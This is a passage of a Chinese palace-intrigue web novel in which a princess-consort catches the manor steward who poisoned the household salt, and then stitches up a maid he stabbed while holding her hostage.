她选择嫁给了他这么个瘫子,面对不堪的言论,和受人指指点点就已经够多了。 怕就怕在,那些一心想要对付他的人,杀不了自己,反而要对他身边的沈听晚下手! 暗祁不知道自家王爷心里头的想法,只是满腹狐疑,想到冬卉回禀在街上发生的事儿,脸上露出欲言又止的表情。 “你想要说什么?” 抬眼便看到暗祁那纠结的眼神,淡淡道。 暗祁犹豫一瞬,随即开口:“王爷,属下详细调查过,王妃娘娘在将军府的时候,并未习过武。” 可是,当街用银针射杀那匹发了狂的马,若没有习过武艺,银针根本就射不出去! “此事你不必过管,王妃会武一事,不得向外透露半个字。”王爷语气坚定。 “王爷,属下还发现,王妃娘娘性情和从前似乎也大不一样,况且,王妃娘娘只在神医谷待了短短两年,还是七八岁年纪,这医术也不像是在神医谷习得的,是否需要属下再仔细查一查王妃娘娘的真实身份?” “不必。 她确确实实是将军府沈家嫡女,并非旁人冒充假扮的。” 所以即便是查,也根本查不出任何来。 不过人既然没问题,那有问题的应该就是…… 其实早在一开始,君翊就已经发现了沈听晚的异常,但却一直没有说破。 小姑娘身上的破绽太多了,每每看到她无意间说漏了嘴,却绞尽脑汁极力的想要隐瞒时,君翊都忍不住无奈想笑。 君翊抬眼,看向房间里有关于沈听晚留下的痕迹,嘴角微勾起一抹淡笑。 总归小姑娘人就在身边,他知道她身上藏有很多秘密,但君翊更希望,那些秘密不是通过他调查出来的,而是有一天小姑娘能对他彻底放下心防,亲口告诉他。 君翊收回视线,又看向暗祁:“王妃今日出门,府上都有谁知道,全部暗中排查身份。” 暗祁疑惑的开口问道:“我也是觉得府上还有人心存二心?” 不应该啊,他已经将府上所有的眼线全部排查清楚了,按理讲,不可能还有人敢造次了啊。 君翊语气笃定道:“王妃是秘密出府的,只有王府里头的人知道,你看看能不能顺藤摸瓜把要伤害王妃的人揪出来。” 暗祁立马点头,脸上满是严肃:“是,属下一定把那个人找出来,到时候定将他碎尸万段!” 咚! 门口传来一阵急促的开门声。 两人视线同时移目朝着门口方向看过去。 便见沈听晚端着餐盘,大步走进门来:“暗祁,快把门关上!” “是!” 见着沈听晚一脸神神秘秘,还带着一丝兴奋,君翊眼底闪过一丝疑惑:“是怎么了?” 暗祁快步走到门口,将门关严实后,又转身欲从沈听晚手中接过餐食,却见沈听晚向后一躲。 “别动,这饭里头有毒!”沈听晚压低声音严肃地道。 "什么?!"暗祁脸色骤变,警惕地看向餐盘,满眼尽是不敢置信。 不等暗祁再开口,沈听晚却已经转头看向了君翊,眼中兴奋之色不减:“咱们揪出那个奸细的机会来啦!” 君翊目光紧盯着沈听晚,声调微沉:“到底发生了何事?” “你们都不知道,我刚才在厨房……”沈听晚将饭食放在桌子上,然后便将方才在厨房发生的事说了出来。 刚才沈听晚在厨房做饭的时候,正准备拿装盐的罐子调味儿,可她从盐罐子里挖出一勺盐的时候,便发现了不对劲。 那盐罐里头,被人下了毒! 房间里的两人听着沈听晚的话,脸色也顿时变得严肃起来,暗祁的眼底更是迸发出一抹杀气腾腾:“简直无法无天了,他竟然有这么大胆子,手脚都做到明面上来了!” 沈听晚看了暗祁一眼,又继续开口道:“早上我在厨房时,那盐还是正常的,到了晚间便被人动了手脚,看来那人是心急了。” “那王妃娘娘,属下这就去将今日进过后厨的下人全部抓起来审问,下毒之人必在其中!”暗祁咬牙切齿,一而再再而三地伤害王爷和王妃,真当王府无人了是吗! 听见这话,沈听晚却轻轻摇头:“后厨人多眼杂,去过的人太多,若全部抓来,目标太过明显。 况且,若无确凿证据,下毒之人若铁了心不肯招认,我们也难以查证。" 暗祁蹙眉:“那就任凭着他继续作恶,咱们就一点办法都没有吗?” “办法当然有。”沈听晚淡淡开口,眼底闪烁着一抹光亮。 她缓步走到君翊面前,眸中寒光闪烁却带着一丝狡黠的笑意:“方才厨房中除我之外,仅有秋月一人,若下毒之人若想要得知计划有没有得逞,一定会暗中向秋月探听消息!" 君翊看向沈听晚:“所以你早就想到办法了?” 沈听晚轻笑着挑眉:“方才我暗中叮嘱过秋月了,让她留意今晚去找她的人。” 暗祁站在一旁沉思片刻,瞬间恍然大悟:“属下明白了!只要今晚去找秋月的人,就一定是下毒的凶手!” 君翊:“……” 她眉头微皱:“王妃方才说得不够明白吗,用得着你在这做总结?” 暗祁讪讪一笑,有些尴尬地抬手挠了挠头,随即又道:“那属下这就去暗中看着秋月,看看王府里头的那个贼究竟是谁!” “等会儿。” 暗祁停下脚步,疑惑地转头:“王妃娘娘,可还有什么吩咐?” “去给我找一套丫鬟的衣服!” 抓奸细这种事,她自然要亲自出马了! 暗祁面色微变,下意识看向君翊,见王爷点头,立即开口:“是,属下这就去!” 说着,便转身大步而去。 房间里,沈听晚轻叹了口气坐到床边:“希望今晚可以顺利抓到那个贼吧。” 君翊抬眼,不动声色的开口:“一定会的。” 有小姑娘出马,他想那个王府里的奸细,定会无处遁形! 沈听晚没想到君翊会这样说,不过心里也有些小小兴奋,如果真能抓到,那也不枉她费的这一片苦心了! 第60章 只等鱼儿上钩 “今晚可能要委屈你了,晚膳是吃不成了。” 沈听晚有些无奈地开口。 方才沈听晚担心那凶手在暗中看着,她担心会打草惊蛇,所以就硬生生拿着那掺了毒的盐巴做了一顿饭,又不动声色的端进了屋里。 目的就是为了让那人觉得自己没发现盐里面的问题。 “无妨。”君翊轻声开口。 从前在上战场,有时候连肚子都填不饱,时常无法保证三餐,君翊早就已经习惯了,更何况,少吃一顿饭又饿不死人。 “等抓到凶手之后,我便开始给你医治了。” 沈听晚转头又看向君翊:“所以,今晚一定要成功抓到凶手。” 因为接下来对君翊的治疗,至关重要,绝不能有一丁点闪失! 沈听晚是担心继续让那凶手逍遥在王府,万一在她给君翊治疗的过程当中做手脚,那可就真的麻烦了! 君翊微微垂下眼帘,眸中闪过一丝晦暗:“是要开始了么?” “对。” “咚咚咚……” 门外这个时候突然传来声响,暗祁也在这个时候送了一套崭新的丫鬟衣服,他避开王府中的所有人进了门,将包袱放在桌上。 “还挺快的。”沈听晚赞赏的看了暗祁一眼,轻笑开口,随即拿起包袱,快步走进里屋。 没过多长时间,便见小丫鬟装扮的沈听晚出现在房间里。 “走吧,带我去秋月的房间。” 暗祁恭敬回应道:“是!” “等我回来啊。”临出门前,沈听晚转头又看了眼躺在床上的君翊 君翊微微点头,语气轻缓地道:“注意安全。” “嗯。” 其实有暗祁他们在,而且又是在王府里头,沈听晚压根遇不上什么危险的。 沈听晚转身随着暗祁出了门,又悄悄朝着秋月的房间而去。 此时,王府里的某一处,早已经布下了天罗地网,只等着鱼儿上钩了。 推门走进秋月的屋子,便看见小丫鬟一脸紧张神色焦急,在房间里来回踱着步,一张小脸惨白如纸,一双手不自觉的绞在一起。 “别紧张,外面布满了暗卫,都在保护我们呢。”沈听晚走上前,轻轻拍了拍她的肩膀,柔声笑着开口。 或许是有了沈听晚的安慰,又或者说是沈听晚亲自在自己的跟前,秋月的脸色渐渐恢复了些许血色,朝着沈听晚用力点点头:“嗯,王妃娘娘,奴婢一定把事情做好!” 王妃娘娘这么相信自己,这么重要的事情交给了她,她绝对不能让王妃娘娘失望! “好!”沈听晚淡淡笑了笑:“表现的无事发生就好,等下如果人真的来了,我会在暗处。” 秋月深吸一口气,随即像是下定了决心,又重新坐回了床上。 沈听晚也走到房间内唯一一处屏风下隐藏好了身影,只等着那人的出现。 时间渐渐流逝,屋内寂静得仿佛能听见窗外落叶的声响,直到夜彻底暗了下来,门外也没有丝毫动静。 原本紧张不已的秋月,此刻也忍不住开始变得着急了起来,不时抬眼望向门口:“王妃娘娘,那人今晚还会来吗?”秋月开口,小心翼翼的问道。 屏风后,沈听晚双臂环抱,闭目养神,听到秋月的话,她缓缓睁开眼,声音平静而坚定:“别急,他一定会来。” “可是……”秋月眉头紧蹙,”都快过丑时了,再不来,天都快要亮了。” “你知道作恶之人一般会选择什么时辰吗?”沈听晚反问道。 秋月一脸茫然,她缓缓摇了摇头,眼中满是困惑之色。 “寅时。”沈听晚坚定的开口。 “因为那个时候天最黑,而且还是所有人都睡得正沉的时候,正因为如此,才让作恶的人觉得这时候最为安全!” “快到床上躺好,等下人来了,一定要装作睡得很沉的样子,明白吗?” “是,奴婢明白了。”秋月点点头,随即便准备将鞋袜脱下,正想要躺下盖好被子,门外便传来了窸窸窣窣的动静。 “来了!” 沈听晚微寒的眼神瞬间迸发出光亮,微微勾唇。 秋月被吓了一跳,手顿住一下,然后立马反应过来,快速将被子盖在身上,装作熟睡般的紧闭起双眼。 门外,穿着一袭黑衣,头顶上被帷帽遮挡住全身的男人,悄无声息的走到房门口。 他警惕的环顾了两眼四周,见周围没有异常,只能听到偶尔的风声,才拿出一把匕首,一点点撬开房门上的锁。 “吱嘎”一声,门很快被人从外面打开,躺在床上的秋月瞬间绷直了身子,紧紧闭上双眼,她死死咬住红唇,一颗心脏此时飞快的跳动着,似乎像是要从秋月的嗓子眼跳出来一般。 黑衣男人很快站到床边,透过窗外的月光,定定的注视着床上的小丫鬟。 这下子,秋月是连呼吸都不敢再加重。 心里头不断默念着,不能害怕!不能露出半点让这人怀疑的举动! 王妃娘娘把这么重要的任务交给他,他绝对不能把事儿办砸了! 更何况,门外全部都是暗卫,她一定不会有危险! 想到这里,秋月也渐渐地放松了下来,似乎这会儿真的熟睡了过去一般。 此时,躲在暗处的沈听晚,缓缓掏出事先藏好的匕首放于胸前,最好随时冲上去把人放倒的准备! 黑衣人俯身靠近床榻,轻轻推了推秋月的肩膀。 秋月心头一颤,却又装作不耐地皱眉,含糊嘟囔:“谁啊……让不让人睡觉了……” 男人阴沉的声音在房间里响起:“秋月!” 秋月一僵,突然间瞪圆了眼睛,想也不想便:“啊!”地一声准备大叫起来。 黑衣男一个手疾眼快,冲上去一把死死捂住秋月的嘴,厉声低喝:“别出声!” 秋月此时,像是受到了极大的惊吓,一双惊恐的眼睛闪过红润之色,整个身体也僵硬的不行。 男人白了一眼,心下轻蔑冷笑,果然是个胆小的丫鬟! “你别出声,我只是想要问你几个问题,如实回答我,我不会伤害你的!” 第61章 这么关心本王妃,怎么不来问我呢? 看到秋月连连点头,黑衣男子紧绷的肩膀终于放松了些,但那眸色却满是阴毒之色:“现在把你放开,你若是敢出声,我一定杀了你!” 秋月忙不迭地点头,纤细的脖颈在月光下泛着苍白。 见状,黑衣男子才缓缓移开捂住她嘴巴的手,不过有担心秋月会坏事儿,迅速从靴筒中抽出一把寒光匕首,冰冷的匕首紧贴在秋月的脖颈上:“这匕首快得很,你若是敢耍什么花招,保证你看不到明天的太阳!” “你……你是谁?”秋月被吓得面容失色,透过清冷的月光,能够看到眼前一身黑衣的男人,脸上戴着一张白色面具,在夜色当中显得更为诡异又令人胆颤心惊。 “知道太多对你没有好处!”黑衣蒙面男又冷声开口质问道:“告诉我,今晚你和王妃在厨房里面,都发生了什么?” 秋月身形一顿,眼神微微动了动,颤颤巍巍的开口:“没……没发生什么……”透过声音,似乎都能感觉到小丫鬟整个人身体都在哆嗦着。 “王妃就没有什么不对劲的地方吗?”黑衣蒙面男又冷声质问道。 秋月此时的心脏都快提到嗓子眼儿了,她强撑着镇定:“王……王妃能有什么不对劲的? 王妃今天出门回来的晚些,担心王爷饿着,做了饭就给赶紧给王爷端去了!” 听见这话,黑衣蒙面男陷入了沉思。 那就奇怪了。 既然没发现什么异常,为什么王府里头到现在还没传出来动静呢? 按理来说,王爷吃下有毒的饭菜,那个时候王府里头应该大乱才对。 怎么一点动静都没有呢? “王妃是不是让你煎了一副药?”黑衣蒙面男又抬眼看向秋月开口问道。 “确……确实是,不过也不知道怎么的,王妃娘娘又突然不让我煎了,说明早再煎好给王爷端过去就行……”秋月又如实开口说道。 “很好!”黑衣蒙面人嘴角勾起一抹阴冷的笑意,一手持匕首抵住秋月脖颈,另一手从怀中取出一个巴掌大小的油纸包,放入秋月颤抖的掌心:“今天早上煎药的时候,把这东西放进给王爷煎了药里头。” “这……这是什么东西?” “是什么你不用知道,只管照做便是,记着,事成之后我不会亏待你,但你若是敢把事情说出去,你家人的命就不用活了! 我可是记得,你家里还有一个没娶媳妇的哥哥和母亲,想让他们活命,就乖乖听话!”黑衣蒙面男阴沉的开口威胁道。 “你别伤害他们!”秋月的声音瞬间拔高几分,眼睛瞪的老大,此时也顾不得黑衣蒙面男的匕首是不是抵在自己的脖子上了,便想要起身抓住他的衣襟。 “别动!再动我现在就杀了你!”黑衣蒙面男咬了咬牙,冰冷的语气如同寒潭中的冰水一般。 “不……我不动,求求你不要伤害他们,你让我做什么我都会帮你去做的!”秋月哽咽的开口,心里头更是焦急的不行,怎么外头的人到现在都没有动静呢,还不进来抓人,她都快支撑不住了! “还有,你要亲眼看着王爷把药喝下去,另外,王妃若是有什么举动,第一时间想办法把消息传给我!” 秋月脸上露出一丝迷茫之色:“我……我怎么把消息传给你啊?” 她根本就不认识他啊。 黑衣蒙面男一顿,哦对!他倒是差点忘了! “写张字条放在前院第一颗树下面的砖瓦下面,我会在那看到。” 现在后院王爷的院子守卫很严,除了暗祁暗蒙那两个家伙,也就只有王妃还有她信任的几个人能进去,若不是如此,他也用不着这么费事的让一个小丫鬟帮他做事了! “林管家这么关心本王妃的一举一动,干嘛这么费事儿,直接来问我就好了啊。” 黑衣蒙面男的话音刚一落下,身后沈听晚的声音便从他身后猝不及防的传入了耳中。 林泉面容一紧,下意识转头看过去,便见到沈听晚不知道什么时候出现在了他的身后,手上还把玩着一把匕首,一双明亮的眸子,满是冷意的看着他,嘴角还勾起一抹不达眼底的笑意。 他不敢置信地瞪大双眼,看了眼床上的秋月,又看向沈听晚:“你,你们竟然给我做局?” “何来做局一说?”沈听晚缓步上前,裙裾轻摆,“若你没有害人之心,今日在这局里头的人,可就不是你了,林管家。” 林泉心头一紧,显然没想到,沈听晚竟然能识破他的身份! 不过这个时候他怎么能承认,承认了那边是死,不承认的话,把这两个人杀了,他以后还能有机会! 他眼中闪过一丝狠戾: “哼!什么林管家,我根本就不认识,房间里头不过你们两个人而已,我一个大男人,杀两个小女子还是能办到的!” “是吗?”沈听晚笑着挑了挑眉,心里头更是腹诽,这林泉年纪不小,口气也挺大的呢! “来,我就在这儿,看看你能不能杀了我。”沈听晚心里讽刺着,抬脚便朝着管家林泉的方向走去。 她缓步向前,每一步都踏在林泉紧绷的心弦上。 此时,林泉满脸阴郁,一想到他竟然被一个黄毛丫头做了局,心里边顿时怒火横生。 “好!我今天就杀了你!看你以后还能不能坏我的好事儿!” 林泉紧握起手上的匕首,眼神不善地锁定在沈听晚地身上。 见着林泉朝着自己的方向扑过来,沈听晚也猝不及防的抬起匕首,果断朝向林泉的方向刺了过去。 林泉的脚步一看就是个练家子,沈听晚现在的这副身体太柔弱,力气肯定不如一个男人大,只能先下手为强! 林泉也瞪圆了眼睛,显然没想到沈听晚竟然是个会武功的。 他抬手挡去,一个快速闪身,躲过沈听晚的致命一击,但手心还是被锋利的匕首划出一道不浅的口子。 两人就这样打了起来,沈听晚猛地抬脚,一个狠劲朝着林泉肚子上用力踹过去。 第62章 鱼咬勾了! 林泉猝不及防,硬生生地受下了这一脚重击,整个人被踹得向后飞去,“嘭”一声巨响,重重地摔倒在地。 一口鲜血"噗"地一声从口中喷涌而出,染红了胸前的衣襟。张原本挂在脸上的面具此时也“啪嗒”一下掉落在地上,滚出数尺远。 林泉的那张面孔,瞬间暴露无疑…… 此时,门口处突然传来"砰"的一声巨响,房门被人从外面猛地撞开,木屑四溅。暗祁的冰冷的声音响起:“林泉!还不叫束手就擒!” 暗祁暗蒙两人一左一右将门堵的死死地,眼神冷若冰霜,锐利如刀,一寸寸扫视在林泉尽是狼狈的身上。 林泉心头猛然一紧,寒意从脚底直冲头顶。 心下冒出来的第一个念头就是,他完了!彻底的完了…… 被这两个侍卫盯上,他今天是说什么都逃不出去了! 他极力抑制住心里的慌乱,抬手用力抹去嘴角的血渍,余光扫见床上一脸惊魂未定的秋月,瞬间发了狠。 他咬紧牙关,用尽全身力气从地上猛然跃起,随即迅速朝着秋月的方向扑去。一把粗暴地薅住秋月的头发,将她狠狠拽到自己身前,锋利的匕首再次抵在她纤细的脖颈上,冰冷的刀刃划破了秋月的脖颈,渗出点点血珠。“想让她活命就都别过来,放我走!不然的话,你们就等着给她收尸吧!”他嘶吼道,声音中充满了绝望与疯狂。 林泉原本是想要劫持沈听晚的,毕竟是王妃,劫持起来胜算会更大一些。 但架不住沈听晚是个练家子,不好控制,林泉担心会再生变故,只好退而求其次,劫持个小丫鬟也总比两手空空要好! 暗祁暗蒙两人此时也迅速朝着沈听晚的方向靠拢过去,挡在她的面前,暗恋严肃而又警惕的瞪着林泉。 “你别乱来,杀了她,你也活不成!” “呵呵呵,”林泉发出一阵阴冷的笑声:“黄泉路上能有一个小丫头跟我作伴,倒也不算太过孤独!值了!”他眼中寒光闪烁,尽是决绝与狠厉。 一时之间,暗祁暗蒙两人也不敢擅自行动。 “王妃娘娘,要不要现在下手?”暗祁低声提议。 这是最好抓住林泉的机会,如果真的就这么放他走了,下次抓他可就没这么容易了。 “不行!”沈听晚面容严肃,沉声地道:“秋月还在他手上!” 她不能让秋月有事! “可是……” 沈听晚深深吐了口气,平静的道:“按照他说的办,放他走!” 既然知道府上的奸细就是林泉,事情就好办了,在京城里,翊王府想要抓住一个人,还是可以办到的! “你别伤害她,我答应你放你走!”沈听晚冷眼看向林泉,冷声开口。 “哼,算你们识相,给我准备一辆马车,马车上放足够我下半辈子生活的银票,等到了安全的地方,我自然会把她放下!” 林泉一脸嚣张地道,事情既然已经到了这个地步,语气狼狈的逃跑,不如放开手脚去搏一搏。 说不准,他下半辈子就真的不用愁了! 暗祁暗蒙两人的表情阴沉下去:“你别得寸进尺!” 林泉抬首,冷眸扫向几人,沉声道:“不得寸进尺你们也不会放过我!” “按照他说的去办。”沈听晚面无表情,此时冷冷的吩咐道。 “王妃娘娘!” 这时候,秋月却突然间大声叫住沈听晚:“不用管奴婢,我比不过是贱命一条,绝不能放任他逃出去?” 用她的这一条命,换一个王府的奸细,秋月觉得,值了! 原本还满脸惊惧,仿佛要吓破胆的秋月,突然间像是鼓起了勇气似的,低下头张嘴便死死咬住了林泉的手臂。 “啊!你这个贱婢!”林泉一个吃痛,抬手一个狠劲薅住秋月的头发,秋月只觉得头皮都要被林泉扯下来了般,痛的她眼泪止不住的往下流,不过即便这样,她也没有松口的打算,反而牙下的力度又强了几分。 如果能在死前,咬下来林泉胳膊上的一块肉来,也不算亏得慌! 秋月心里这样想着,便突然间觉得,自己好像也没那么害怕了。 大不了就是一死。 如果她的死,能帮到王妃娘娘,也不枉她做一回王府的下人。 秋月的举动彻底激怒了林泉,他眼中迸发出浓浓的怒火与杀意,仿佛要将她生吞活剥。他死死咬牙,恶狠狠地怒喝:“贱婢!看我不杀了你!” “不要!”沈听晚瞪大了眼大声喝道。 扬起匕首,飞快朝着秋月身上刺去,“噗嗤”一声,匕首扎进秋月的肚子上,她只觉得身上一凉,密密麻麻的疼痛席卷全身,不出一会儿,整个身体似乎卸了力一般,瘫软下去…… 见着秋月倒下,沈听晚的双眼瞬间染上一抹猩红,她抬手将匕首用力朝着林泉方向甩了出去,飞速而来的匕首打的林泉一记措手不及,来不及躲闪,匕首径直刺入他的肩胛骨,瞬间疼的他呲牙咧嘴,整个身体也卸下了力道。 暗祁暗蒙见状,一个健步冲上去,迅速将林泉死死控制住。 “秋月!” 沈听晚大步冲到秋月身边,蹲下来,看到她胸前鲜血如泉涌般不断涌出,沈听晚面容骤然紧绷。她顾不得其他,迅速低头用力扯下自己的一块衣角,紧紧按在秋月的伤口上,声音带着一丝颤音来:“你坚持住,我一定能救好你!” 声音带着一丝发抖,足矣可见此时沈听晚的心乱了。 秋月迷迷糊糊地睁开双眼,模糊的视线渐渐清晰地映出那张俊美无双却写满焦急的面颊。 她惨白的唇角微微上扬,艰难地勾起一抹虚弱的笑:“王……王妃娘娘,奴婢,奴婢没让您……失望……” 她再也不是那个畏畏缩缩,胆小的小丫鬟了…… “是,秋月是最棒的!”沈听晚也红了眼眶,同时心里头也升起浓浓的悔意:“你先别说话,我给你止血。” 如果不是她让秋月配合抓住奸细,秋月就不可能受伤! 怪她,怪她没有那一切的风险都算到。 第63章 秋月重伤 如果秋月救不回来……沈听晚一阵思绪翻涌,估计以后她都会为今天而感到深深地愧疚。 转头看向暗祁:“去把我的银针拿过来,另外,房中的药箱,一并给我拿来!” “是!”暗祁立马开口回道,随即便迅速冲了出去。 “王妃娘娘,这家伙怎么处置?”一旁将林泉牢牢制住的暗蒙,沉声开口问道。 沈听晚转头看过去,一双明亮的眸子此时却是杀意正浓:“把人给我关起来看好,我要亲自审!” 在她的眼皮子底下杀人,沈听晚便要让他尝尝,什么叫生不如死! “是!” 暗蒙将人押了下去,暗祁也很快抱着药箱子走进门来:“王妃,您要的东西!” 沈听晚:“把秋月帮我抱到床上,动作轻一点,别碰到她的伤口。” 暗祁听话照做,小心翼翼地将秋月抱在怀里,然后才轻轻的放在床上。 感觉到掌心处传来一股黏稠的湿热,身体一僵,缓缓抬起手来,烛光下,自己的手上赫然沾满了暗红色的鲜血。 暗祁眼底闪过一丝不忍与心疼,声音微微有些发颤:“王妃,您能救好秋月的吧……” 在暗祁的印象里,这小丫鬟一直唯唯诺诺的,看上去更是胆小的不行。 有时候,他故意想要吓唬她一下,秋月保准被他唬的跑到角落里哭的泣不成声。 从前,暗祁只觉得秋月像是胆小的兔子,有时候捉弄她一下,还挺有趣的,可却没想到,今天这个胆小的小丫鬟竟然做了令若有人都震惊的举动。 “别废话!帮我把秋月上衣脱下来。” “我?”暗祁一脸愕然,脸上更是露出几分为难之色。 这样不太好吧? 毕竟男女授受不亲啊,他要是脱了小丫鬟的衣服,小丫鬟今后怎么嫁人啊? 沈听晚见着暗祁犹犹豫豫,瞬间气不打一处来,声音陡然提高几分:“都什么时候了还讲究这些没用的!人救活了才是最要紧的,我没让你把她衣服全脱了,你就把她受伤的部分露出来就行!” 听见这话,暗祁又是犯了难,满脸着急,想要上前听从沈听晚的话,但又怕自己鲁莽,毁了秋月的清白,一时之间竟不知该如何下手。 沈听晚准备好要给秋月疗伤,转头便看到暗祁犹犹豫豫,始终不知道如何下手,顿时恨铁不成钢地怒瞪了一眼:“你要是帮不上忙就出去!把春婳她们两个叫进来!” 听见这话,暗祁顿时感觉如释重负,忙不迭地点头:“是,属下这就去!” 暗祁快步跑了出去,很快,春婳两人便被叫进了屋里。 沈听晚也不废话,抬手指了指床上危在旦夕的冬月:“把她衣服脱下来。” 两人立马上前帮忙,动作轻柔而迅速,不多时,秋月腹部的伤口便暴露出来,在昏黄的烛光下显得格外狰狞。 沈听晚走到床边,看到秋月身上的伤口,忍不住倒吸一口凉气。 这匕首嵌得实在是太深了,几乎没入了大半,只留下一个血淋淋的刀柄。 可见方才林泉是下了死手,铁了心要杀了秋月。 空气中弥漫着浓重的血腥气味,饶是见惯了生死的春婳冬卉两人,眉头都不禁皱了皱,眼底闪过一丝不忍之色。 秋月伤的实在是太重,不过值得庆幸的是,并未伤到要害,而且,沈听晚最拿手的就是外伤! 沈听晚俯身下去,将伤药和银针放在床边,转头神色严肃的道:“去给我找一些裁成一米多长的纱布,麻沸散,还有缝合用的针线,要快!” 冬卉忙点头应下,一转身便快步朝门口冲去。 这些东西并不罕见,她们从前在暗卫营受伤的时候就经常用到,所以找起来并不难。 至于缝合用的针线,倒是叫留在房间里的春婳有些不解:“王妃,用针线做什么?” 沈听晚头也不抬地解释道,手指已经开始检查起秋月的脉搏:“缝合伤口。” 春婳脸上露出诧异之色,她们从前怎么没想到,这伤口竟然还能缝合呢? 纱布和针线很快便被冬卉寻来,此时秋月已经因为失血过多而昏了过去。 沈听晚眉头紧紧蹙起,心里头更为着急,在这个年代,还无法做到输血,再这样下去,她还没等把匕首拔下来,秋月就要失血而亡了! 目前能做的,只能通过施针,使得秋月身体里的血液流速暂缓,以保证秋月能支撑下去。 沈听晚取出银针,迅速朝着秋月身上的穴位上扎去,银针刺进秋月的身体里,秋月缓缓睁眼,因为刺痛下意识躲避,同时抬手便欲将银针拔出来。 好在沈听晚早有准备,一把抓住秋月乱动的手,随即认真而严肃的开口:“不要乱动,银针可以减缓你身体血液流动的速度,不过这期间会有些疼,忍一忍,马上就要。” 秋月缓缓睁开眼来,视线渐渐变得有些模糊,耳边听到沈听晚沉稳的声音传来,她勉强扯了扯嘴角,声音微弱如蚊呐:“好……” 她相信王妃,刚才她一度陷入昏迷,还以为自己马上就要死了呢…… 却没想到,王妃娘娘竟然还没有放弃自己。 不多时,伤口的血被沈听晚止住,叫她心头猛松了口气。 “我现在要把匕首从你体内拔出来,你一定要坚持住!” 只要秋月能够支撑到匕首拔出来,那这条命阎王爷就算是拿不走了。 见着秋月强撑着缓缓点头,沈听晚又转眼看向春婳:“把麻沸散给她喝下去。” “是。” 一碗苦的要命的麻沸散,灌入秋月口中,没过一会儿的功夫,秋月原本就沉重的眼皮子渐渐闭紧,再次昏睡过去。 见着时候差不多了,沈听晚的目光才再次移目看向半插进秋月体内的匕首。 借着房间里昏暗的烛光,沈听晚仔细检查了一下,确定匕首的位置,不禁猛猛松了口气。 伤口就在心脏下面仅仅半存的位置,哪怕再往上提一点,秋月这条命恐怕都救不回来了。 不得不说,这小丫头真的是很幸运! 第64章 亲自审问 将所有准备用到的东西全部摆好,沈听晚便下定决心准备开始拔刀。 拔出匕首虽然只需要一瞬的功夫就能完成,但是在这没有任何消毒的暴露空间,而且还没有检测人体仪器的情况下,却叫沈听晚心里头少了几分把握。 用手按住离匕首不远的伤口上,虽然血留的很是缓慢,但依旧有不少鲜血从伤口处渗出,沈听晚的面容不自觉紧绷起来变得严肃。 此时仿佛有变成了现代作为军医的沈听晚,浑身散发出的严谨与专业,忍不住让在一旁帮忙的两人目光纷纷被沈听晚所吸引而去。 原来,她们王妃娘娘给人医治的时候,竟然这么美…… 专注,冷静,自信,严谨,她们从未想过,这些词汇竟然能同时在一个女子的身上展现的淋漓尽致。 她们以为,军营里的军医就已经足够厉害啦,可是,在军医的身上,却没有他们王妃娘娘这种临危不乱之风。 春婳和冬卉两人忍不住看呆了,看着眼前没比她们大多少的王妃,一时之间,眼底闪过一股暗光。 沈听晚此时浑然不觉自己已经在两个武婢的心里留下了深深地崇拜,她抬起手握住刀柄,深吸一口气,下定了决心,用最快的速度,将匕首从秋月的身体里拔出来。 瞬间,暗红的鲜血“噗嗤”一声,喷溅出来,染红了沈听晚俊美白皙的脸颊。 然而,沈听晚却连眼睛也没眨一下,有条不紊,手法迅速娴熟的清理着伤口。 两人在一旁看到一愣一愣,甚至都没看清,她们王妃究竟有了什么手段,原本还一直往外打量渗血的伤口,就突然被止住了! 然后下一瞬,只见沈听晚拿起一旁的针线,一点一点将伤口缝合起来。 咯吱,咯吱…… 春婳两人离得不远,甚至都能够听到针线穿透皮肉的声音,让人忍不住头皮发麻。 如果不是确定了王妃是在这儿救人,他们都怀疑,沈听晚是不是在折磨秋月了…… 直到沈听晚将秋月的伤口缝合好,最后一针完成,沈听晚顺手在细线打了个结,然后用剪刀剪断。 呼…… 完成了! 沈听晚拿起秋月的手,诊了一下脉,见着秋月脉象平稳,这才把心又放回了肚子里。 秋月的命,算是保住了! 将伤口缝合好后,沈听晚拿起金创药,一点点涂抹在伤口上,然后让两人上前帮忙把秋月身体扶起来,把绷带从秋月后背缠绕过来,将绷带绑好,不至于叫伤口染上脏东西而感染发炎 做好这一切后,沈听晚才有些疲惫的靠在床边,抬眼看向春婳:“秋月失血过多,去熬一碗补血的汤药,让她连喝半月。” 在这什么都落后的古代,钱也只能用这个办法把血给补回来了。 “是。” “这三天尤为重要,你们看着秋月,不要让她起身下地行走,另外伤口五天不能沾水。” 沈听晚不放心的叮嘱着。 “奴婢明白!” 春婳是个藏不住事儿的,见着床上毫无血色的秋月,又忍不住开口:“王妃娘娘,秋月救回来了?” “嗯。”熬了大半夜的功夫,沈听晚的嗓子有些沙哑,听上去低低沉沉。 “等下麻沸散的药性散了之后,秋月就会醒来,不过伤口可能会有些痛,你们留下来看住她,别让她乱动。 这些天叫秋月吃一些清淡的,明天可能会出现发烧的迹象,到时候即使去找我过来。” “奴婢知道了。”两个武婢认认真真的听完沈听晚地话,之后的注意事项以及每天换药的事项都一字不落的记在心里头。 沈听晚耐心的教着,一遍一遍不耐其烦的叮嘱着,见春婳和冬卉都记住之后,这才起身。 在她走出房门的时候,天边已经渐渐泛起了鱼肚白。 此时,暗祁还站在门外守着,见房门被人推开,忙不迭转头看过去。 见着出来的人是沈听晚,暗祁先顿住一瞬,这才有些着急的开口:“王妃娘娘,秋月怎么样了? 救回来了吗?”最后一句话,暗祁问的有些小心翼翼,眼底满是着急与慌乱之色。 沈听晚抬头看了一眼:“你很关心秋月?” 暗祁一愣,微动了动嘴角,随即惭愧地将头埋下去:“她会受伤,也是因为属下,如果属下及时控制住林泉,他不可能会伤到人!” 所以,在暗祁的心里头便认定了是因为他的失误,才导致秋月命悬一线的…… “她没事,你不用担心了。 林泉会劫持秋月,是所有人都没有想到的,你不用自责。”沈听晚耐下心来安抚道。 如果说真的要怪,那也是怪她,一个手无缚鸡之力的小丫鬟牵扯进来。 如果不是她利用秋月引出凶手,也不可能会发生这后面的许多事儿来。 想到这里,沈听晚眼底的眸光顿时冷了下来,随即沉声开口:“林泉现在在哪儿?” “暂时被关在王府地牢里,暗蒙在那亲自看守呢。”暗祁如实开口回答道。 “带我过去。”沈听晚淡淡开口,语气间更是透着叫人不寒而栗的寒意。 沈听晚要亲自审林泉,她倒是要看看那幕后之人究竟是谁! 阴暗潮湿的地牢里,只关着林泉一个人,暗蒙则是在地牢门口亲自看管着。 见着沈听晚和暗祁两人一同从远处走来,暗蒙立马上前一步:“属下参见王妃娘娘。” 沈听晚面无表情:“他招了吗?” 